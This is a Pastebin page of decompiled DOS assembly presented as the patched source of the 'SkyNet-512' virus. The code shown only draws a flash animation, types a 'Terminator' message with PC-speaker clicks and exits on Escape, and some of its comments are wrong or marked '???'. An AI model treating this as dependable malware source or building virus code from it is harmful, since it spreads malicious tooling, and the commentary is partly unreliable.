Advertisement
FlyFar

Virus.DOS.SkyNet-512 Source Code - Fixed

Jan 7th, 2023 (edited)
1,873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 5.22 KB | Cybersecurity | 0 0
  1. ; "Virus.DOS.SkyNet-512". Patch: PC-Beeper improper use.
  2. ; Licensed under UNLICENSE license as long as the license is unknown.
  3. ; Patch (c) Larry "Diicorp95" Holst, 2021.
  4.  
  5. ; Flat Assembler syntax
  6.  
  7.     use16
  8.     org 0x0100; COM file format generation
  9. ;---
  10. new_line equ 0x0D; For SkyNet terminal simulator session
  11. cr_lf equ 0x0D,0x0A; Microsoft uses the combination to set a new line, you know
  12. color_attr equ 0x4E;< Color attribute $4E (yellow FG on dark red BG)
  13. empty_char equ 0x20; ' '  |
  14. video_data equ 0x4E20;<---|
  15. beep_cycles equ 0x0100
  16. ;---
  17. start:; "Start"
  18.     push cs
  19.     pop ds
  20.     mov dx,copyright ; Print out copyright
  21.     mov ah,0x09
  22.     int 0x21
  23.     mov al,0x10;< ???
  24.     call v01E9; Get random data in AL,DL (the purpose is unknown)
  25.     call v0118; All the visual things
  26. v0011:; "Exit"
  27.     mov ax,0x03
  28.     int 0x10
  29.     mov ah,0x4C
  30.     int 0x21
  31. ;--- "String data"
  32.     copyright db '*** Terminator I *** Created by Sky Net in Chung-Li.',cr_lf,'$'
  33.     db 0x1F; string offset
  34.     db 'Terminator Message:',new_line
  35.     db 0x1F; string offset
  36.     db new_line
  37.     db 0x20; string offset
  38.     db 'Don',0x27,'t be afraid.',new_line
  39.     db 0x1D; string offset
  40.     db 'I am a very kind virus.',new_line
  41.     db 0x1A; string offset
  42.     db 'You have do many works today.',new_line
  43.     db 0x27; string offset
  44.     db 'So,',0x0D
  45.     db 0x17; string offset
  46.     db 'I will let your computer slow down.',0x0D
  47.     db 0x20; string offset
  48.     db 'Have a nice day,',new_line
  49.     db 24h; string offset
  50.     db 'Goodbye.',new_line
  51.     db 24h; string offset
  52.     db new_line
  53.     db 0x1A; string offset
  54.     db 'Press a key to continue. . .'
  55.     db 0x00; string offset
  56. ;---
  57. v0118:; "Check video memory for color support, else use MDA"
  58.     mov dx,0xB800; Video memory address we'll use (if EGA/VGA/PGA)
  59.     int 0x11; Gets equipment list (result in AX)
  60.     test ah,0x08; ZF is set, if computer has a EGA/VGA/PGA card
  61.     jz v0125; do not use MDA, use CGA/EGA/VGA
  62.     mov dx,0xB000; use MDA
  63. v0125:; "Flash effect and animation"
  64.     mov es,dx
  65.     mov ax,0x00DB;< 0;full block character ($DB)
  66.     mov cx,0x07D0;< ???;???
  67.     xor di,di; Set X=Y = 0
  68.     rep stosw; Loads in video memory
  69.     mov al,0x0F;< Color attribute $0F (white FG on black BG)
  70.     mov bx,0x07D1;< ???;???
  71.     mov bp,bx; BX -> BP, to use with internal CPU engine calculations
  72.     mov si,bp; Copy that value in SI.
  73.     mov di,si; Copy that value in DI.
  74.     mov cx,0x0002; ???
  75.     mov dx,0x0002; ???
  76. v0142:; "Flash effect parameters"
  77.     push cx
  78.     mov cx,0x0006;< How far flash effect with spread
  79. ;v0146:
  80. @@:; "SkyNet terminal simulator session starts here..."
  81.     call v01E9
  82.     mov [es:bx],al
  83.     mov [es:bp],al
  84.     mov [es:si],al
  85.     mov [es:di],al
  86.     add bx,dx
  87.     sub bp,dx
  88.     add si,0x00A0
  89.     sub di,0x00A0
  90.     ;loop v0146
  91.     loop @b; Operations with video memory
  92.     xor al,al
  93.     neg dx
  94.     xchg si,di
  95.     pop cx
  96.     loop v0142
  97.     call v01E9; Get random data in AL,DL (the purpose is unknown)
  98.     mov ax,video_data
  99.     mov cx,0x07D0
  100.     xor di,di; Set X=Y = 0
  101.     rep stosw; Operations with video memory
  102.     xor bx,bx
  103.     mov si,0x0151
  104.     mov dh,0x07;Y = $07. It's an initial value simply.
  105. v0181:; "Minor process #1 of printing out"
  106.     mov ah,0x02;Set position with INT $10
  107.     mov dl,[si];X = used string offset
  108.     inc si
  109.     int 0x10
  110.     inc dh; Y++
  111. v018A:; "Minor process #2 of printing out"
  112.     push ax
  113.     mov ah,0x01
  114.     int 0x16; Wait for some key in background
  115.     pop ax
  116.     jz v019F
  117.     push ax
  118.     mov ah,0x00
  119.     int 0x16; Wait for some key in foreground; at end of message
  120.     cmp al,0x1B; '] }' key
  121.     pop ax
  122.     jnz v019F; Jump if ZF is clear
  123.     jmp v0011; If ZF is set, jump to "Exit"
  124. v019F:; "Rules of printing text out"
  125.     mov al,[si]; Get character
  126.     inc si; We'll use next character later, if we'll at all
  127.     or al,al; If value is zero...
  128.     jz v01C8
  129.     cmp al,empty_char; If it's that empty character (in our case a space),
  130.     je v01AE; slow down <SkyNet terminal simulator> typing speed.
  131.     cmp al,new_line; If it's new line character for us,
  132.     jne v01BC; then act like we should
  133. v01AE:
  134.     mov cx,0x0A;< For LOOP command
  135. ;v01B1:
  136. @@:
  137.     call v01E9; ???
  138.     loop @b
  139.     cmp al,0x0D; If it's also new line after another new line,
  140.     jne v01BC; then ignore string offset because it's necessary
  141.     jmp short v0181
  142. v01BC:
  143.     call v01D3
  144.     call v01E9
  145.     mov ah,0x0E
  146.     int 0x10; "Teletype output"
  147.     jmp short v018A
  148. v01C8:
  149.     xor ah,ah; AL = 0
  150.     int 0x16; Wait for keypress in foreground
  151.     cmp al,0x1B
  152.     jne v01C8
  153.     jmp v0011
  154. v01D3:; "PC Speaker - <SkyNet terminal simulator> typing sound"
  155.     push ax
  156.     mov ah,0x00
  157.     in al,0x61
  158.     sub al,0xFC
  159. ;v01DA:
  160. @@:
  161.     xor al,0x02
  162.     out 0x61,al
  163.     mov cx,beep_cycles
  164. v01E1:
  165.     loop v01E1
  166.     dec ah
  167.     ;jnz v01DA
  168.     jnz @b
  169.     pop ax
  170.     retn
  171. v01E9:; "Get system time..."
  172.     push ax
  173.     push cx
  174.     push dx
  175.     mov ah,0x2C
  176.     int 0x21
  177. v01F0:; "...Finally getting random data from DL"
  178.     push dx
  179.     mov ah,0x2C
  180.     int 0x21
  181.     mov al,dl
  182.     pop dx
  183.     cmp al,dl
  184.     je v01F0
  185.     pop dx
  186.     pop cx
  187.     pop ax
  188.     retn
  189.  
  190. ; Decompiled with Diicorp95's Decomp.AI
  191. ; HIEW, Insight, Sourcer were used in work.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement